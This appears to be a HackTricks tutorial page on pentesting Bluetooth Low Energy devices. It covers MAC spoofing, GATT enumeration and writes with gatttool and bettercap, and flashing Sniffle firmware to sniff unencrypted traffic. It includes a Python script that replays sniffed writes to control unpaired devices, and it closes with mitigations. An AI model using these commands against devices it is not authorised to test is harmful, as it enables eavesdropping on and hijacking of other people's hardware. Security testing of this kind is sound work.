# Pentesting BLE - Bluetooth Low Energy {{#include ../../banners/hacktricks-training.md}} ## Introduction Available since the Bluetooth 4.0 specification, BLE uses only 40 channels, covering the range of 2400 to 2483.5 MHz. In contrast, traditional Bluetooth uses 79 channels in that same range. BLE devices communicate is by sending **advertising packets** (**beacons**), these packets broadcast the BLE device’s existence to other nearby devices. These beacons sometimes **send data**, too. The listening device, also called a central device, can respond to an advertising packet with a **SCAN request** sent specifically to the advertising device. The **response** to that scan uses the same structure as the **advertising** packet with additional information that couldn’t fit on the initial advertising request, such as the full device name. ![](<../../images/image (152).png>) The preamble byte synchronizes the frequency, whereas the four-byte access address is a **connection identifier**, which is used in scenarios where multiple devices are trying to establish connections on the same channels. Next, the Protocol Data Unit (**PDU**) contains the **advertising data**. There are several types of PDU; the most commonly used are ADV_NONCONN_IND and ADV_IND. Devices use the **ADV_NONCONN_IND** PDU type if they **don’t accept connections**, transmitting data only in the advertising packet. Devices use **ADV_IND** if they **allow connections** and **stop sending advertising** packets once a **connection** has been **established**. ### GATT The **Generic Attribute Profile** (GATT) defines how the **device should format and transfer data**. When you’re analyzing a BLE device’s attack surface, you’ll often concentrate your attention on the GATT (or GATTs), because it’s how **device functionality gets triggered** and how data gets stored, grouped, and modified. The GATT lists a device’s characteristics, descriptors, and services in a table as either 16- or 32-bits values. A **characteristic** is a **data** value **sent** between the central device and peripheral. These characteristics can have **descriptors** that **provide additional information about them**. **Characteristics** are often **grouped** in **services** if they’re related to performing a particular action. ## Enumeration ```bash hciconfig #Check config, check if UP or DOWN # If DOWN try: sudo modprobe -c bluetooth sudo hciconfig hci0 down && sudo hciconfig hci0 up # Spoof MAC spooftooph -i hci0 -a 11:22:33:44:55:66 ``` ### GATTool **GATTool** allows to **establish** a **connection** with another device, listing that device’s **characteristics**, and reading and writing its attributes.\ GATTTool can launch an interactive shell with the `-I` option: ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...] # Write data gatttool -i -b --char-write-req -n gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps) # Read data gatttool -i -b --char-read -a 0x16 # Read connecting with an authenticated encrypted connection gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c ``` ### Bettercap ```bash # Start listening for beacons sudo bettercap --eval "ble.recon on" # Wait some time >> ble.show # Show discovered devices >> ble.enum # This will show the service, characteristics and properties supported # Write data in a characteristic >> ble.write >> ble.write ff06 68656c6c6f # Write "hello" in ff06 ``` ## Sniffing and actively controlling unpaired BLE devices Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device. ### Sniffing with Sniffle (CC26x2/CC1352) Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware. Install Sniffle and its Wireshark extcap on Linux: ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ``` Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0): ```bash pushd /opt/sniffle/ wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex git clone https://github.com/sultanqasim/cc2538-bsl.git cd cc2538-bsl python3 -m venv .venv source .venv/bin/activate python3 -m pip install pyserial intelhex python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex deactivate popd ``` Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering: ```text _ws.col.info contains "Sent Write Command" ``` This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop). Sniffle CLI quick examples: ```bash python3 scanner.py --output scan.pcap # Only devices with very strong signal python3 scanner.py --rssi -40 # Filter advertisements containing a string python3 sniffer.py --string "banana" --output sniff.pcap ``` Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later. ### Active control via GATT Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write: - With Nordic nRF Connect for Desktop (BLE app): - Select the nRF52/nRF52840 dongle, scan and connect to the target. - Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level). - Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop). - Automate on Windows with a Nordic dongle using Python + blatann: ```python import time import blatann # CONFIG COM_PORT = "COM29" # Replace with your COM port TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p") # CONNECT ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f"[-] Connecting to {TARGET_MAC}...") peer = ble_device.connect(target_address).wait() if not peer: print("[!] Connection failed.") ble_device.close() raise SystemExit(1) print("Connected. Discovering services...") peer.discover_services().wait(5, exception_on_timeout=False) # Example: write 0x01/0x00 to a known handle for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print("[!] Beeping.") ch.write(b"\x01") time.sleep(2) print("[+] And relax.") ch.write(b"\x00") print("[-] Disconnecting...") peer.disconnect() peer.wait_for_disconnect() ble_device.close() ``` ### Operational notes and mitigations - Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup. - Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics. - Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect. ## References - [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/) - [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle) - [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle) - [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p) - [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE) - [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop) - [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/) {{#include ../../banners/hacktricks-training.md}}